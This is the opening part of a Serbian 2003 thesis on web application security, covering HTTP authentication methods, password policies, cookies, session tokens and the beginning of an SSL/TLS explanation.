BEZBEDNOST WEB APLIKACIJA

Autor: Stevan Digurski

Novi Sad, 2003.

SADRAJ1. UVOD...........................................................................................................................................................4 1.1. OSNOVNI BEZBEDNOSNI KONCEPTI................................................................................................................5 1.2. WEB APLIKACIJE.......................................................................................................................................6 1.3. HTTP I BEZBEDNOST WEB APLIKACIJA........................................................................................................7 2. AUTENTIFIKACIJA.................................................................................................................................8 2.1. KORISNIKA AUTENTIFIKACIJA.....................................................................................................................8 2.1.1. HTTP Basic...................................................................................................................................8 2.1.2. HTTP Digest.................................................................................................................................9 2.1.3. Autentifikacija na osnovu formi..................................................................................................10 2.1.4. Digitalni sertifikati (SSL i TLS)..................................................................................................11 2.2. ENTITETSKA AUTENTIFIKACIJA....................................................................................................................11 2.2.1. Autentifikacija infrastrukture......................................................................................................11 2.3. SISTEMI AUTENTIFIKACIJE ZASNOVANI NA LOZINKAMA....................................................................................12 3. UPRAVLJANJE KORISNIKIM SESIJAMA.....................................................................................14 3.1. COOKIES................................................................................................................................................14 3.2. SESIJSKI TOKENI (SESSION TOKENS)...........................................................................................................15 3.3. SSL I TLS ...........................................................................................................................................16 3.3.1. Kako SSL i TLS rade?.................................................................................................................17 3.3.2. SSL pregovaranje sa autentifikacijom samo servera .................................................................17 3.3.3. SSL sa klijentskom i serverskom autentifikacijom......................................................................18 4. KONTROLA PRISTUPA I AUTORIZACIJA.......................................................................................19 4.1. DISKRETNA KONTROLA PRISTUPA................................................................................................................19 4.2. OBAVEZNA (MANDATORY) KONTROLA PRISTUPA ..........................................................................................20 4.3. KONTROLA PRISTUPA ZASNOVANA NA ULOGAMA (RBAC).............................................................................20 5. PRAENJE RADA - EVENT LOGGING.............................................................................................22 5.1. TA UNETI U LOG ZAPIS............................................................................................................................22 5.2. OBRADA LOG ZAPISA................................................................................................................................23 6. VALIDACIJA PODATAKA.....................................................................................................................24 6.1. STRATEGIJE VALIDACIJE.............................................................................................................................24 6.1.1. Prihvati samo poznate validne podatke......................................................................................24 6.1.2. Odbaci podatke za koje se zna da nisu validni...........................................................................25 6.1.3. Saniraj sve podatke.....................................................................................................................25 6.2. NIKADA SE NE OSLANJATI NA VALIDACIJU PODATAKA SA STRANE KLIJENTA........................................................25 7. BEZBEDNOSNI PROBLEMI PRI RADU WEB APLIKACIJA........................................................26 7.1. NAPADI NA KORISNIKE..............................................................................................................................26 7.1.1. Cross-site scripting.....................................................................................................................26 7.2. NAPADI NA SISTEM...................................................................................................................................28 7.2.1. Direktne SQL naredbe................................................................................................................28 7.2.2. Direktne OS naredbe...................................................................................................................30 7.2.3. Otkrivanje putanje dokumenta....................................................................................................31 7.2.4. Ukljuivanje udaljenih datoteka.................................................................................................31 7.2.5. Nulti bajtovi................................................................................................................................32 7.2.6. URL kodiranje.............................................................................................................................33 7.3. MANIPULACIJA PARAMETRIMA....................................................................................................................35 7.3.1. Manipulacija Cookie-a...............................................................................................................35

2

7.3.2. Manipulacija HTTP zaglavljima................................................................................................36 7.3.3. Manipulacija poljima HTML formi............................................................................................37 7.3.4. URL manipulacija.......................................................................................................................38 7.4. OSTALI NAINI MANIPULACIJE....................................................................................................................40 7.4.1. Konfiguracija sistema.................................................................................................................40 7.4.2. Komentari u HTML.....................................................................................................................40 7.4.3. Stari, bekapovani i fajlovi bez reference.....................................................................................41 7.4.4. Debug naredbe............................................................................................................................42 7.4.5. Default (inicijalni) nalozi...........................................................................................................43 8. PROBLEMI PRIVATNOSTI...................................................................................................................44 8.1. OPASNOSTI PRI UPOTREBI JAVNIH WEB BROWSER-A.......................................................................................44 8.2. UPOTREBA LINIH PODATAKA.....................................................................................................................44 8.3. OPCIJA BROWSER HISTORY...................................................................................................................44 9. ZAKLJUAK..........................................................................................................................................45 10. LITERATURA.......................................................................................................................................46 RENIK.......................................................................................................................................................47

3

1.UVODEkspanzija popularnosti Interneta koja se odigrala u prethodnoj deceniji, kao i promovisanje Web browsera kao platforme za distribuciju aplikacija, doveli su do toga da razvoj Web aplikacija predstavlja oblast u kojoj se raunari danas najvie koriste. Web bezbednou se oduvek bavila mala grupa ljudi koja se obicno fokusirala na bezbednost mrea i operativnih sistema. Pojavom sve sloenijih Web aplikacija i Web servisa kao i injenica da se na njima nalazi velika koliina poverljivih informacija povlai sa sobom veliku odgovornost programera koji ih kreiraju. Rad se sastoji iz vie celina. U prvom poglavlju predstavljeni su osnovni bezbednosni koncepti, pojmovi Web aplikacija i Web servis, kao i mesto i uloga HTTP protokola u bezbednosti Web aplikacija. Tema drugog poglavlja je autentifikacija kao najosetljiviji deo Web aplikacije. Predstavljeni su tipovi autentifikacije, naini na koji funkcioniu, kao i prednosti i mane svakog. Naredno poglavlje se odnosi na mehanizme upravljanja korisnikim sesijama, bez kojih se ne moe zamisliti ni jedna Web aplikacija. Naredna tri poglavlja se odnose na kontrolu pristupa i autorizaciju, praenje rada (logging), i validaciju podataka. U poglavlju Bezbednosni problemi Web aplikacija opisani su naini na koji se vre napadi na Web aplikaciju, kao i reenja za njihovo spreavanje ili ublaavanje. Osmo poglavlje diplomskog rada bavi se privatnou korisnika Web aplikacija. U poslednjem poglavlju ovog rada prikazana je konkretna realizacija intranet Web aplikacije namenjena timskom radu na projektima, uz osvrt na prethodno izloenu metodologiju.

4

1.1.Osnovni bezbednosni konceptiOsnovni bezbednosni koncepti koji su vani za informacije na Internetu su raspoloivost, integritet i poverljivost. Raspoloivost se primarno definie kao mogunost sistema da prui uslugu ovlaenom korisniku. Ovlaeni korisnici su korisnici kojima su namenjene usluge sistema kako je naznaeno u njegovoj specifikaciji. Svi ostali korisnici osim ovlatenih korisnika smatraju se neovlatenim korisnicima. Bezbednost informacija

Poverljivost prevencija neovlaenog otkrivanja informacija

Integritet prevencija neovlaene modifikacije informacija

Raspoloivost prevencija neovlaenog zadravanja informacija

Integritet predstavlja prevenciju neovlaene modifikacije, brisanja ili unitavanja elemenata sistema. Integritet je naruen u sluaju napada, koji obino izvravaju neovlaeni korisnici, ali koji takoe moe izvriti i ovlaeni korisnici koji zloupotrebljavaju svoja ovlaenja. Zbog toga integritet karakterie mogunost sistema da se odupre napadima. Poverljivost je mogunost sistema da onemogui neovlaenim korisnicima pristup poverljivim informacijama. U stvarnosti time se definie do koje mere neka informacija treba da je dostupna, odnosno nedostupna neovlaenim korisnicima. Poverljivost se takoe moe posmatrati u irem smislu, odnosno kao prevencija pruanja usluge neovlaenim korisnicima, ak i ako pruanje takve usluge ne bi znailo tetu za ovlaene korisnike ili otkrivanje tajnih informacija. Bezbednosni koncepti koji se odnose na osobe koje koriste informacije su autentifikacija, autorizacija i neporecivost. Da bi uinili informaciju dostupnom onome kome je potrebna i kome se moe verovati koriste se autentifikacija i autorizacija. Autentifikacija je proces utvrivanja da li je korisnik, odnosno entitet, ono to tvrdi da jeste. Autorizacija podrazumeva proveru da li odreeni korisnik (ili sistem) ima dozvolu da vri odreenu akciju, pod pretpostavkom da se prethodno autentifikovao. Neporecivost je mogunost sistema da onemogui korisniku poricanje prethodno izvrene akcije.

5

1.2.Web aplikacijeWeb aplikacije imaju klijent/server arhitekturu koja omoguuje interakciju sa korisnicima ili drugim sistemima koristei HTTP protokol. Za korisnike, klijent je najee Web browser kao to je Internet Explorer ili Netscape Navigator. Krajni korisnik vidi Web stranice i on je sposoban da vri interakciju slanjem izbora. Funkcije koje se izvode mogu biti jednostavni zadaci kao pretraga lokalnog direktorijuma do visoko sofisticiranih aplikacija koje vre npr. prodaju u realnom vremenu, B2B i B2C... Tehnologije koja omoguavaju rad Web aplikacija veoma se brzo razvijaju. Tradicionalno jednostavne aplikacije, pravljene sa CGI (Common Gateway Interface), obino su pokretane na Web serveru povezane na jednostavnije baze podataka ( takodje na istom serveru). Moderne aplikacije su tipino napisane u Javi (ili slinim jezicima ) i pokretane na aplikacionim serverima povezane sa vie baza podataka. Nivo prezentacije Aplikacioni nivo Nivo podataka

Nivo prezentacije je odgovoran za prezentovanje podataka ka krajnjem korisniku ili sistemu. Web server prua podatke, a Web browser ih slae u itljivu formu koju korisnik moe da interpretira. To takodje doputa korisniku da odgovori slanjem povratnih parametara koje Web server proputa kroz aplikaciju. Ovaj nivo prezentacije ukljuuje Web servere kao to su npr. Apache i MS IIS. On takodje moe ukljuiti komponente aplikacije koje kreiraju izgled stranice. Aplikacioni nivo je pokreta Web aplikacije. On omoguava realizaciju poslovne logike, obradu ulaznih podataka, donoenje odluka, upotreba vie podataka i prezentovanje istih do nivoa prezentacije za slanje korisniku. Nivo aplikacije moe ukljuiti tehnologije kao to su: CGI, Java, .NET servisi ili PHP. Nivo podataka se koristi za skladitenje podataka potrebnih za aplikaciju i odgovoran je za privremene i stalne podatke. Savremeni sistemi skladite podatke u XML formatu radi lake komunikacije sa drugim sistema. Web servisi predstavljaju kolekciju funkcija koje su upakovane kao celina i publikovane na mreu za upotrebu od strane drugih programa. Web servisi su namenjeni za kreiranje otvorenih distributivnih sistema koji omoguavaju kompanijama i individualnim korisnicima da brzo i jeftino uine da svoje informacije dostupnim irom svetske mree. Jedan Web servis moe koristiti drugi da napravi bolje karakteristike za krajnjeg korisnika. Web servisi za iznajmljivanje automobila i avio prevoz su primeri. Web servisi se zasnivaju na XML-u (extensible Markup Language) i SOAP-u (Simple Object Access Protocol).

6

1.3.HTTP i bezbednost Web aplikacijaSa tehnike strane, osnovni protokol na mrei je HTTP protokol. Njegova jednostavnost nainila ga je vrlo popularnim. Protokol radi na aplikacionom nivou. Klijent alje zahtev HTTP serveru, HTTP server interpretira zahtev i alje odgovarajui odgovor klijentu. HTTP klijent Aplikacioni nivoNivo prezentacij eNivo sesijeTrans portni nivoMreni nivoNivo podatakaFiz iki nivo HTTP server Aplikacioni nivoNivo prezentacij eNivo sesijeTrans portni nivoMreni nivoNivo podatakaFiz iki nivo

HTTP zahtev predstavljen preko OSI referentnog modela Kada je Web aplikacija postavljena na Web server, korisnici alju HTTP zahteve za odreene stranice. Napadi zlonamernih korisnika koji se nalaze u tim zahtevima, bez ikakvih prepreka prolaze kroz firewall-ove zato to su oni deo legalnog HTTP zahteva. Zavrni udarac su dali Web servisi (REST, XML i SOAP), koji omoguavaju da se kroz samo jedan port provuku razni formati dokumenata.

7

2.AUTENTIFIKACIJAAutentifikacija je proces utvrivanja da li je korisnik, odnosno entitet, ono to tvrdi da jeste. esto dolazi do zabune ta je autentifikacija, a ta je upravljanje sesijama (session management). Korisnici su obino autentifikovani sa korisnikim imenom i lozinkom ili slinim mehanizmom. Kada je prvi put uspeno izvrena autentifikacija, sesijski token (session token) je postavljen u korisnikov browser, skladiten u cookie. To omoguava browseru da poalje sesijski token svaki put kada je upuen novi zahtev, to predstavlja entitetsku autentifikaciju. Korisnika autentifikacija se vri samo jednom u toku sesije, dok se entitetska autentifikacija vri prilikom svakog zahteva. Postoje dva tipa autentifikacije: Korisnika autentifikacija je proces odreivanja da li je korisnik ono to tvrdi da jeste. Entitetska autentifikacija je proces odreivanja da li je entitet (sesijski token) ono to tvrdi da jeste. Razmotrimo situaciju kada korisnik pristupa stranicama za administraciju jednog elektronskog trgovinskog sajta. Posle uspeno obavljene korisnike autentifikacije sistem vri entitetsku autentifikaciju koja je potrebna u slucaju da elimo da preemo na neku drugu stranicu, a da izbegnemo ponavljanje korisnike autentifikacije.

2.1.Korisnika autentifikacija2.1.1.HTTP BasicHTTP protokol definie jednostavan okvir za autentifikaciju. HTTP klijent, npr. Web browser alje zahtev serveru za pristup zatienim stranicama, Web server vraa klijentu HTTP 401 statusni kod:HTTP/1.1 401 Authorization Required

Zatim klijent alje drugi zahtev ovaj put ukljuujui Authenticate header koji sadri njegove akreditive za serverov upit. Ako server prihvati akreditive klijenta poslae traenu stranicu, u suprotnom alje odgovor 401 neautorizovanog pristupa da obavesti klijenta da je autentifikacija propala. Postoji vie naina za obavljanje korisnike autentifikacije preko HTTP-a. Najjednostavniji metod je HTTP Basic autentifikacija.

8

HTTP Basic autentifikacija se zasniva na modelu da se korisnik mora autentifikovati sa korisnikim imenom i lozinkom (koji se obino unose u dialog box) za svaki domen. Oni se alju serveru odvojeni karakterom :, kriptovani base64 metodom. HTTP Basic autentifikacija je nesiguran metod filtriranja neautorizovanog pristupa resursima na HTTP serveru. Ona je bazirana na pretpostavci da je veza izmeu klijenta i servera sigurna. Takoe, ova autentifikacija ima problem da ne postoji mehanizam za logout, to pri upotrebi jednog Web browser-a od strane vie korisnika stvara problem.

2.1.2.HTTP DigestPostoje dve forme HTTP Digest autentifikacije koje su napravljene da spree problem presretanja korisnikog imena i lozinke. Originalna specifikacija je razvijena kao jedna ekstenzija za HTTP 1.0, a unapreena je za HTTP 1.1. Svrha HTTP Digest autentifikacione eme je da omogui korisnicima da dokau svoje korisniko ime i lozinku bez otkrivanja aktuelne lozinke. HTTP Digest mehanizam koristi MD5 hash algoritam. Mehanizam HTTP Digest autentifikacije razvijen je da omogui generalnu upotrebu, jednostavnu implementaciju i autentifikacioni mehanizam koji se moe koristiti preko kanala koji nisu kriptovani. Vaan deo pri sprovoenju autentifikacije je slanje dodatnih podataka. U sluaja da se sa zahtevom ne alju jedinstveni podaci napada bi bio u mogunosti da jednostavno ponovi digest. Proces autentifikacije poinje sa odgovorom 401 - neautorizovani pristup, kao i kod HTTP Basic autentifikacije. Zagljavlje WWW-Authenticate header, koje zahteva eskplicitnu autetifikaciju se dodaje, nakon ega se generie dodatni parametar nonce i izraunava digest. Ovako izgleda izraunavanje: 1.string A1 se sastoji od korisnikog imena, oblasti i lozinke koji su spojeni dvotakama : owasp:users@owasp.org:password, 2.Izraunava se MD5 hash ovih stringova (128 bitni heksadecimalni izlaz), 3.String A2 se sastoji od HTTP metoda i URI-a (npr. GET:/index.php), 4.Izraunava se MD5 hash funkcija od A2, 5.Spajaju se A1 i A2 sa dvotakama, 6.Izraunava se MD5 hash funkcija ovakvog stringa. Kao to je ve reeno, HTTP 1.1 specificira unapreenu digest emu, koja prua dodatno zatitu za: -napade ponavljanjem, -obostranu autentifikaciju, -integritet zatite.

9

Digest ema u HTTP 1.0 je osetljiva na napade ponavljanjem. Ovo proizilazi iz toga to napada moe da ponovi tano izraunati digest za isti resurs, te da poalje isti zahtev serveru. Poboljana digest ema u HTTP 1.1 ukljuuje NC parametar ili brojanje nonce-a u autorizaciono zaglavlje. Ovaj osmocifreni broj u heksadecimalnoj predstavi se uveava svaki put kada klijent podnese zahtev sa istim nonce-om. Server mora da proveri da li je NC vei od poslednje primljene NC vrednosti koju je primio, te da ne uvai ponovljene zahteve. Druga poboljanja HTTP 1.1 eme su integritet zatite i obostrana autentifikacija, to klijentima omoguuje da autetifikuje servere, kao i serverima da autentifikuje klijente.

2.1.3.Autentifikacija na osnovu formiUmesto oslanjanja na autentifikaciju na nivou protokola, Web bazirane aplikacije koriste kod sadran u samim Web stranicama. Ovo omoguava projektantima da predstave zahtev za korisnikim podacima (korisniko ime i lozinka) kao normalni deo aplikacije sa svim HTML mogunostima koje se odnose na internacionalizaciju i pristupanost. Od sutinske vanosti je da se forme autetifikacije podnose upotrebom HTTP POST zahteva, detaljniji pregled e biti dat u daljem tekstu. HTTP GET zahtev se pojavljuje u history-u korisnikovog browsera, tako da korisniko ime i lozinka mogu biti vidljivi i ostalim korisnicima istog browsera. Uobiajena ema u Web aplikacijama je da se korisniku prethodno popune polja kad god je to mogue. Korisnik koji se vraa na prethodno korienu aplikaciju moe eleti da potvrdi informacije o svom profilu. Veina aplikacija e prethodno popuniti formu sa trenutno vaeim podacima i zahtevati od korisnika da izmeni podatke koji su netani. Polja sa lozinkama aplikacija nikada ne treba da popunjava. Najbolji pristup je da se ostavi prazno polje za lozinku i da se od korisnika zahteva da potvrdi trenutnu lozinku, kao i dva polja za unos i potvrdu nove lozinke. U veini sluajeva stranica za izmenu lozinke treba da se nalazi odvojeno od ostalih podataka vezanih za korisniki profil. Ovakav pristup ima dve prednosti. Korisnici mogu nepanjom da ostave prethodno popunjenu formu na ekranu doputajui pri tome, nekome sa fizikim pristupom raunaru, da otkrije lozinku. Isto tako, ako aplikacija dopusti (kroz neki bezbednosni propust) drugom korisniku da vidi stranicu sa prethodno popunjenom lozinkom za nalog drugog korisnika, View Source e ponovo otkriti lozinku u vidu obinog teksta. Primedba: autentifikacija zasnovana na formama zahteva od projektanata sistema da izgrade autentifikacioni protokol koji e se nositi sa istim problemima koji se pravazilaze upotrebom HTTP digest-a. Projektanti moraju obratiti panju na sledee: ukoliko nije upotrebljen SSL, forme podnete upotrebom HTTP GET ili HTTP POST zahteva, podatke (korisniko ime i lozinku) prenose u vidu obinog teksta.

10

2.1.4.Digitalni sertifikati (SSL i TLS)SSL (Secure Socket Layer) i TLS (Transport Layer Security) mogu da obezbede klijentsku, serversku ili obostranu autetifikaciju entiteta. Detaljni opisi mehanizama mogu se nai u SSL i TLS delovima ovog rada. Digitalni sertifikati su mehanizmi za autentifikaciju sistema, a pored toga predstavlaju i mehanizam za distribuciju kljueva u kriptografskim razmenama (ukljuujui i autentifikaciju po potrebi). Razni formati sertifikata nalaze se u upotrebi. Najire prihvaen je X509 v3 sertifikat International Telecommunication Union-a (pogledati RFC 2459). Jo jedan rairen kriptografski protokol za poruke je PGP. Iako su delovi komercijalnog PGP-a svojinski zatieni, OpenPGP Alliance predstavlja grupe koje koriste OpenPGP standard (RFC 2440). Digitalni sertifikati se najvie koriste u Web sistemima pri konektovanju na bezbedne (secure) Web sajtove (SSL). Veina Web sajtova radi iskljuivo sa autentifikacijom na serverskoj strani, ak i ako je autentifikacija na strani klijenta mogua. Za sisteme visoke bezbednosti autentifikacija na klijentskoj strani je neophodna, tako da je potrebno postaviti i emu za distribuciju sertifikata.

2.2.Entitetska autentifikacijaUpotreba cookie-a Cookie-ji se esto koriste za autentifikaciju korisnikog browser-a, kao deo mehanizma za upravljanje sesijama. Ova tematika je detaljnije opisana u delu koji se odnosi na upravljanje sesijama. Napomena o referer zaglavlju: Referer zaglavlje se alje sa HTTP zahtevom klijenta da bi se utvrdilo na koj nain je klijent doao do URL-a traene stranice. Ovakav nain na prvi pogled moe da se uini zgodnim za proveru da li korisnik pratio korake u odreenoj aplikaciji ili je URL dobio sa poverljivog domena (trusted domain). Meutim, ovakvo zaglavlje stvara korisnikov browser, tako da korisnik moe da menja ovo zaglavlje, te ga zbog toga ne bi trebalo koristiti za autentifikaciju.

2.2.1.Autentifikacija infrastruktureDNS nazivi este su situacije u kojima aplikacija treba da autentifikuje druge servere ili aplikacije. IP adrese ili DNS nazivi su naizgled naini za autentifikaciju. Meutim usled specifinih nedostataka vezanih za bezbednost DNS-a, ova metoda bi trebalo da se koristi jedino za brzu i letiminu proveru. Prevara sa IP adresama

11

Prevare sa IP adresama mogue su pod odreenim okolnostima, tako da bi projektanti trebalo to da imaju na umu. U optem sluaju trebalo bi koristiti gethostbyaddr() , umesto gethostbyname(). Za jau autentifikaciju treba upotrebiti X.509 sertifikat ili implementirati SSL.

2.3.Sistemi autentifikacije zasnovani na lozinkamaKorisnika imena i lozinke su danas najei nain autentifikacije. Usled razliitih zahteva koje ema odravanja lozinki treba da zadovolji, lozinke su esto najslabija karika u arhitekturi autentifikacije. Ovo je najvie zbog ljudskog faktora, te se samo donekle moe ublaiti tehnikim sredstvima. U daljem tekstu su data razliita reenja, svaka sa svojim prednostima i manama. Kao i uvek, sistemi za implementaciju autentifikacije bi trebalo da procenjuju rizik i prednosti za svaki od moguih modela pretnje. Korisnika imena Iako korisnika imena sama po sebi nisu zahtevna sa aspekta bezbednosti nije loe uvesti neka ogranienja za korisnika imena. Ime koje je na neki nain izvedeno od korisnikovog linog imena moe napadau da nagovesti o kome se radi i sl. Druga korisnika imena, kao na primer, broj socijalnog ili poreski broj mogu imati i zakonske posledice. Email adrese nisu dobra korisnika imena iz razloga opisanih u daljem tekstu. Skladitenje korisnkih imena i lozinki Svaki sistem mora da sadri skladite sa korisnikim imenima i odgovarajuim lozinkama koje e se koristiti u procesu autentifikacije. Ovakav pristup se jo uvek primenjuje kod Web aplikacija koje koriste ugraena skladita podataka u operativnom sistemu, kao to je Windows NT. Ovakva skladita moraju biti bezbedna. Lozinke ne bi trebalo da budu dostupne administratorskim korisnicima na uvid. Deosta je esta tehnika da se nad lozinkama koriste hash fukcije (kao to je SHA-1). Sprovoenje kvaliteta lozinki Pojam kvaliteta lozinke se odnosi na entropiju lozinke i od presudne je vanosti za bezbednost korisnikih naloga. Dobru lozinku je nemogue pogoditi. Tipina lozinka ima najmanje osam karaktera, pri emu jedan alfanumerik, upotreba malih i velikih slova, jedan specijalan karakter (a da nije u A-Z ili 0-9). U Web aplikacijama posebnu panju treba posvetiti metakarakterima. Zakljuavanje lozinki Ako se napadau ne sprei, on lozinke nagaa vei broj puta. Vrlo je verovatno da e pogoditi.. Mehanizme spreavanja nagaanja lozinke trebalo bi postaviti tako da blokiraju nalog u sluaju kada broj pokuaja logovanja pree neku unapred zadatu vrednost. Preporuljiv broj pokuaja logovanja je pet. Ovakvi mehanizmi, meutim imaju nedostatke. Mogue je da napada pokua da pogodi vei broj sluajno izabranih lozinki na poznatim nalozima te tako zakljua ceo sistem korisnika. Kako sistem zakljuavanja lozinki treba da titi od napada, logina strategija je da se korisniki nalozi zakljuaju na

12

nekoliko sati. Na ovaj nain napada e se znaajno usporiti, dok e pravim korisnicima pristup biti i dalje omoguen. Starenje i istorija lozinki Rotacija lozinki je u optem sluaju dobra stvar. Ovo daje lozinkama odgovarajui ivotni vek. Naravno ako se od naloga koji ve provaljen zatrai da obnovi svoju lozinku sve prednosti nestaju. Sistem za resetovanje lozinki Sistemi za resetovanje lozinki su u irokoj upotrebi. Oni omoguavaju korisniku da resetuje svoju lozinku odmah bez pozivanja administratora. Ovo dovodi do izlaganja korisnikog naloga riziku u sluajevima kada je lozinku potrebno promeniti korisniku koji ne moe da se autentifikuje. Postoji nekoliko strategija kojima se ovo izvodi. Jedna je da se definie skup pitanja koja se postavljaju nekome ko tvrdi da je korisnik. Ova pitanja bi trebalo da budu u slobodnoj formi. Aplikacija treba korisniku da dozvoli da izabere skup svojih pitanja i odgovora, a ne da koristi ista pitanja za sve korisnike. Na ovakav nain stepen entropije se znatno uveava. Potrebno je obratiti panju da se u okviru iste sesije nikada ne podnose na potvrdu zajedno pitanja i odgovori. Na primer za vreme registracije klijentu se moe slati ili pitanje ili odgovor, ali nikada oba zajedno. U sluaju kada sistem koristi email adrese za dostavljanje novih lozinki korisnicima, lozinke bi trebalo da se promene prvi put kada se novi korisnik loguje sa promenjenom lozinkom.

13

3.UPRAVLJANJE KORISNIKIM SESIJAMAHTTP je protokol bez odravanja stanja (stateless), jer se konekcija klijenta i servera uspostavlja prilikom upuivanja klijentovog HTTP zahteva i dobijanja odgovora od servera, a u ostalim vremenskim periodima je nema. Primenom mehanizma stanja omogueno je da viestruki korisniki zahtevi budu meusobno povezani preko sesije. Sposobnost razdvajanja i prepoznavanja akcija korisnika za odreene sesije je kritina za Web sigurnost. Dok postoji preferirani cookie mehanizam (RFC 2965) za izgrdnju sistema zasnovanih na korisnikim sesijama, stepen bezbednosti sistema e zavisiti od samog Web programera, odnosno od naina na koji primenjuje cookie mehanizam. Veina mehanizma stanja, token sesije (session token) se prenosi izmeu HTTP servera i klijenta. On je najee smeten u cookie, moe se prenositi i preko statinog URL-a, kao to moe biti sakriven u HTML kodu Web stranice ili u kombinaciji ovih metoda.

3.1.Cookiesesto ospravan mehanizam koji je neophodan za primenu mnogih komercijalnih Web aplikacija (online banking i e-commerce). Cookie-ji nisu dizajnirani da uvaju korisniko ime i lozinku ili bilo koju osetljivu informaciju. Veoma je bitno korektno ih koristiti. Cookie-ji su razvijeni od strane Neatscape-a, a sada su specificirani u RFC 2965. Postoje dve kategorije cookie-a: sigurne ili nesigurne, trajne ili privremene, dajui etiri posebna tipa cookie-a: trajne i sigurne, trajne i nesigurne, privremene i sigurne, privremene i nesigurne. Trajni cookie-ji su smeteni u tekst dokumentu na strani klijenta i traju do isteka roka (expiry date) koji je postavljen. Privremeni cookie-ji su smeteni u RAM-memoriji na strani klijenta. Unitavaju se kada se browser isljui ili eksplicitno kada se pokrene log-off skript. Sigurni cookie-ji mogu biti poslati samo preko HTTPS (SSL). Dok nesigurni cookie-ji mogu biti poslati i preko HTTP-a i preko HTTPS-a. Naziv sigurni esto dovodi do zablude, jer on obezbeuje sigurnost transporta. Za svaki podatak poslat klijentu smatra se da je pod kontrolom krajnjeg korisnika, bez obzira na koriene transportne mehanizme. Cookie-ji mogu biti poslati korienjem dva glavna metoda, preko HTTP zaglavlja i JavaScript-om. Cookie-ji ne mogu biti itani niti upisivani preko nekog drugog 14

DNS domena. Ako je sve korektno klijent pri komunikaciji sa domenom A ne moe itati cookie-je domena B, ali postoji dosta slabih taaka u popularnim Web klijentima koji to dozvoljavaju. Ako se cookie-ji alju HTTP-om, server odgovara na zahtev sa dodatnim zaglavljem. To zaglavlje govori klijentu da doda te informacije u klijentov cookie dokument ili smesti tu informaciju u RAM. Posle toga svi zahtevi za taj URL od strane browsera sadrae cookie informaciju kao dodatno zaglavlje u zahtevu. Tipian cookie koji skladiti sesijski token (session token) izgleda ovako: Domenwww.redhat.com

Putanja /

SigurnostFALSE

Istek vremena Ime1154029490 Apache

Vrednost64.3.40.151.16 018996349247 480

Kolone ove tabele ilustruju est parametara koji se skladite u cookie. Domen: domen Web sajta koji je kreirao i koji moe da ita promenjivu. Putanja: ovaj atribut ograniava vidljivost pojedinih direktorijuma na Web serveru. Ako imamo stranicu http://www.redhat.com/reference , a putanja je /reference, cookie e biti poslat samo za stranice iz direktorijuma /reference. Atribut / nam govori da se putanja odnosi na ceo sajt. Sigurnost: vrednost TRUE/FALSE se odnosi na to da li je SSL konekcija potrebna za dati domen da se pristupi datoj varijabli. Istek roka: predstavlja Unix-ovo vreme trajanja varijable. Unix-ovo vreme je definisano kao broj sekundi od 00:00:00 GMT Jan 1, 1970. Izostavljanje ovog parametra browser e tretirati tako to e cookie smestiti u RAM i izbrisati je kada se browser isljui. Ime: ime varijable, u ovom sluaju Apache. Dakle, vrednost cookie imena Apache je 64.3.40.151.16018996349247480 i bie unitena 27. jula 2006. za Web sajt iji je domen http://www.redhat.com. Za jedan domen maksimum cookie-a je 20, a maksimalna veliina je 4kb.

3.2.Sesijski tokeni (Session Tokens)Svi sesijski tokeni (nezavisno od mehanizma stanja) moriju biti jedinstveni, nepredvidivi i otporni na inverzno projektovanje. Sesijski token treba da koristi pouzdan izvor sluajnih karaktera (kao to su generator pseudosluajnih brojeva, Yarrow, EGADS, itd.). Dodatno, za veu sigurnost, sesijski tokeni treba da budu vezani na neki nain za specifinog HTTP klijenta da spree upade i replay napade. Generalno algoritmi sesijskih tokena ne bi trebalo da koriste promenljive koje sadre korisnikove personalne informacije kao npr. korisniko ime, lozinku, adresu i slino.

15

Sesijski tokeni koji koriste najjae kriptografske algoritme mogu biti razbijeni ako duina kljua nije dovoljno velika. Napadai mogu jednostavno korienjem automatskih skriptova proi kroz sve mogunosti. Kljuevi tokena moraju biti dovoljno veliki da spree ovakve brutalne napade, ali imajui na umu izraunavanje algoritama i smanjenje irine propusnog opsega duina kljueva e biti smanjena. Sesijski tokeni kod kojih ne dolazi do isteka roka validnosti na HTTP serveru mogu omoguiti eventualnom napadau da pogodi ili brutalno napadne validni autentifikacioni sesijski token. Jedan primer je opcija Zapamti me na mnogim manjim e-komerc sajtovima. Ako je uhvaen cookie nekog korisnika, tada napada moe koristiti token sesije da dodje do tog korisnikog naloga. Dodatno, tokeni sesije mogu biti keirani ili upisani u log listu na proxy serveru, koji ako im vreme isteka na HTTP serveru ne istekne mogu bi takoe iskorieni od strane napadaa. Da bi spreili presretanja i brutalne napade na sesije HTTP server moe unitavati i regenerisati tokene i time dati napadau manje vremena da ponovo iskoristi legitiman token. Velik broj Web sajtova zabranjuju ponovno neobuzdano nagaanje lozinke (npr. HTTP server privremeno zatvori korisniki nalog ili zabrani pristup sa te IP adrese). Napada moe pokuavati stotinama ili hiljadama puta da proba razliite tokene da poalje preko URL-a ili cookie-a bez ogranienja servera. Kritine akcije koje vri korisnik kao to su transfer novca ili znaajne narudbine trebalo bi da zahtevaju od korisnika reautentifikaciju ili generisanje novog sesijskog tokena pre obavljanja vane akcije. Sa popularnou internet kioska i deljivih raunarskih okruenja, sesijski tokeni se izlau novom riziku. Browser unitava session cookie samo po zavretku njegovog rada. Neophodno je da se sesijski tokeni unite kada korisnik naputa aplikaciju. Takodje je neophodno da u aplikaciji postoji opcija logout.

3.3.SSL i TLSSecure Socket Layer (SSL) protokol je projektovan od strane Netscape-a, u okviru Netscape Communicator browsera. SSL je najire upotrebljavan bezbednosni protokol, i kao takav on se ugrauje u sve komercijalne Web browsere i Web servere. Kako je prvobitna verzija SSL-a tehniki bila vlasnitvo Netscape-a, IETF (Internet Engeeniring Task Force) je preuzeo odgovornost za razvoj i unapreenje SSL-a i preimenovao ga u TLS (Transport Layer Security). Prva verzija TLS-a, verzija 3.1, sadri samo neznatne izmene u odnosu na originalni SSL. SSL prua tri bezbednosne usluge pri transportu podataka. To su: autentifikacija, poverljivost, integritet podataka. 16

HTTPFTPSMTPSSL ili TSLTCPIP

